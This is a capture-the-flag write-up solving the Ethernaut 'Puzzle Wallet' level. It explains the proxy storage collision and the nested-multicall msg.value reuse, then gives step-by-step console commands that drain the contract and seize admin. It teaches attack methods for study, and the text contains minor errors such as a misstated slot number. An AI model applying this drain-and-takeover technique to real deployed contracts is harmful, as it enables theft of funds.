# Puzzle Wallet

## Description

Nowadays, paying for DeFi operations is impossible, fact.

A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.

They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.

Little did they know, their lunch money was at risk…

You'll need to hijack this wallet to become the admin of the proxy.

Things that might help:

* Understanding how `delegatecall`s work and how `msg.sender` and `msg.value` behaves when performing one.
* Knowing about proxy patterns and the way they handle storage variables.

## Background Knowledge

Solidity Patterns - Proxy Delegate:

<https://fravoll.github.io/solidity-patterns/proxy\\_delegate.html>

WTF Academy tutorials (in Chinese):

<https://wtf.academy/solidity-application/ProxyContract/>

<https://wtf.academy/solidity-application/Upgrade/>

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}
```

The vulnerability is clear: the storage layouts of `PuzzleProxy` and `PuzzleWallet` are different. Storage layout of `PuzzleProxy`:

```solidity
// PuzzleProxy
address public pendingAdmin; / slot 0
address public admin; // slot 1
```

Storage layout of `PuzzleWallet`:

```solidity
// PuzzleWallet
address public owner; // slot 0
uint256 public maxBalance; // slot 1
mapping(address => bool) public whitelisted; // slot 2 and more (irrelevant)
mapping(address => uint256) public balances; // slot 3 and more (irrelevant)
```

The objective is to overwrite `PuzzleProxy` storage slot 1 with our Metamask wallet address. Equivalently, we can overwrite `PuzzleWalelt` storage slot 1 `uint256 public maxBalance`. This can be done by calling `PuzzleWallet::setMaxBalance()`:

```solidity
// PuzzleWallet
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;
}
```

In order to call this function, we have to satisfy two requirements:

1. `onlyWhitelisted`: Caller address is on the whitelist.
2. `require(address(this).balance == 0)`: The balance of `PuzzleWallet` contract is completely drained.

### Goal 1: Get onto the whitelist

`PuzzleWallet::addToWhitelist()` handles whitelist access control:

```solidity
// PuzzleWallet
function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");
    whitelisted[addr] = true;
}
```

We have to be the owner to use this function. Note that `address public owner` is at `PuzzleWallet` storage slot 1. It corresponds to `PuzzleProxy` storage slot 1, which is `address public pendingAdmin`. We do have control of `pendingAdmin` by calling the `PuzzleProxy::proposeNewAdmin()`:

```solidity
// PuzzleProxy
function proposeNewAdmin(address _newAdmin) external {
    pendingAdmin = _newAdmin;
}
```

So for solving goal 1, we call `PuzzleProxy::proposeNewAdmin()` and then `PuzzleWallet::addToWhitelist()`.

### Goal 2: Completely drain the balance

First, let's enumerate the balance of the current owner:

```javascript
await getBalance(contract.address)
// '0.001'
```

This is equivalent to 0.001 ether. Our objective is to drain this balance.

The only way to transfer balance out is `PuzzleWallet::execute()`:

```solidity
// PuzzleWallet
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
    require(balances[msg.sender] >= value, "Insufficient balance");
    balances[msg.sender] -= value;
    (bool success, ) = to.call{ value: value }(data);
    require(success, "Execution failed");
}
```

As `msg.sender`, we have to own all the balance in this contract. `PuzzleWallet::deposit()` handles this:

```solidity
// PuzzleWallet
function deposit() external payable onlyWhitelisted {
    require(address(this).balance <= maxBalance, "Max balance reached");
    balances[msg.sender] += msg.value;
}
```

The downside of this function is inconvenience. We have to send `msg.value` many many times to reach the goal. Luckily, there is another function `PuzzleWallet::multicall()` that batches multiple function calls into one:

```solidity
// PuzzleWallet
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(_data, 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            // Protect against reusing msg.value
            depositCalled = true;
        }
        (bool success, ) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}
```

The bad news is that `require(!depositCalled, "Deposit can only be called once")` prevents us from calling `PuzzleWallet::deposit()` multiple times. However, there is a sneaky matryoshka doll way to bypass this check.

Basically for each call to `PuzzleWallet::multicall()`, we can only call `PuzzleWallet::deposit()` once. But, we can call `multicall()` inside `multicall()`. In that new `multicall()`, we can call `deposit()`. Pictorially:

```
"outer" multicall -> "inner" multicall -> deposit
```

If we send `msg.value == 0.001 ether`, the contract would have 0.002 ether (0.001 ether was deposited during construction) and `balance[player] == 0.002` because of the nested `multicall()`. At this stage we can drain that 0.002 ether balance by calling `execute()`.

The difficult part is writing the nested calling data. The code snippet below is taken from <https://blog.dixitaditya.com/ethernaut-level-24-puzzle-wallet>:

```solidity
// deposit()
bytes[] memory depositSelector = new bytes[](1);
depositSelector[0] = abi.encodeWithSelector(wallet.deposit.selector);

// multicall() + deposit()
bytes[] memory nestedMulticall = new bytes[](2);
nestedMulticall[0] = abi.encodeWithSelector(wallet.deposit.selector);
nestedMulticall[1] = abi.encodeWithSelector(wallet.multicall.selector, depositSelector);
```

So for solving goal 2, we first call nested `multicall()` to increase our balance, then call `execute()` to drain the balance.

The very last step of our exp is calling `sexMaxBalance()` to change the owner.

## Solution

**Step 1:** In Remix, interact with `IPuzzleProxy` via "At Address". Note that this address is just `await contract.address`. Call `proposeNewAdmin(<your_Metamask_wallet_address>)`. In Chrome console, verify `owner` is overwritten: `await contract.owner()`.

Step 2: In Chrome console, do `await contract.addToWhitelist('<your_Metamask_wallet_address>')`. Now we get onto the whitelist.

**Step 3:** Nested multicall:

```javascript
depositData = await contract.methods["deposit()"].request().then(v => v.data)

multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)

await contract.multicall([multicallData, multicallData], {value: toWei('0.001')})
```

I can't get this to work in Remix, so just do this in Chrome console. The syntax is not important.

**Step 4:** Do `await contract.execute(player, toWei('0.002'), 0x0)`. This drains the balance in `PuzzleWallet`.

**Step 5:** Do `await contract.setMaxBalance(player)`. At this stage, the owner of `PuzzleProxy` is overwritten.

## Summary

Next time, those friends will request an audit before depositing any money on a contract. Congrats!

Frequently, using proxy contracts is highly recommended to bring upgradeability features and reduce the deployment's gas cost. However, developers must be careful not to introduce storage collisions, as seen in this level.

Furthermore, iterating over operations that consume ETH can lead to issues if it is not handled correctly. Even if ETH is spent, `msg.value` will remain the same, so the developer must manually keep track of the actual remaining amount on each iteration. This can also lead to issues when using a multi-call pattern, as performing multiple `delegatecall`s to a function that looks safe on its own could lead to unwanted transfers of ETH, as `delegatecall`s keep the original `msg.value` sent to the contract.

Move on to the next level when you're ready!

## Further Reading

Upgradeable contracts can go wrong. Smart Contract Programmer explained some unsafe code:

{% embed url="<https://youtu.be/XmxfB5JOt1Q>" %}
Unsafe Upgrades - Smart Contract Programmer
{% endembed %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/puzzle-wallet.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
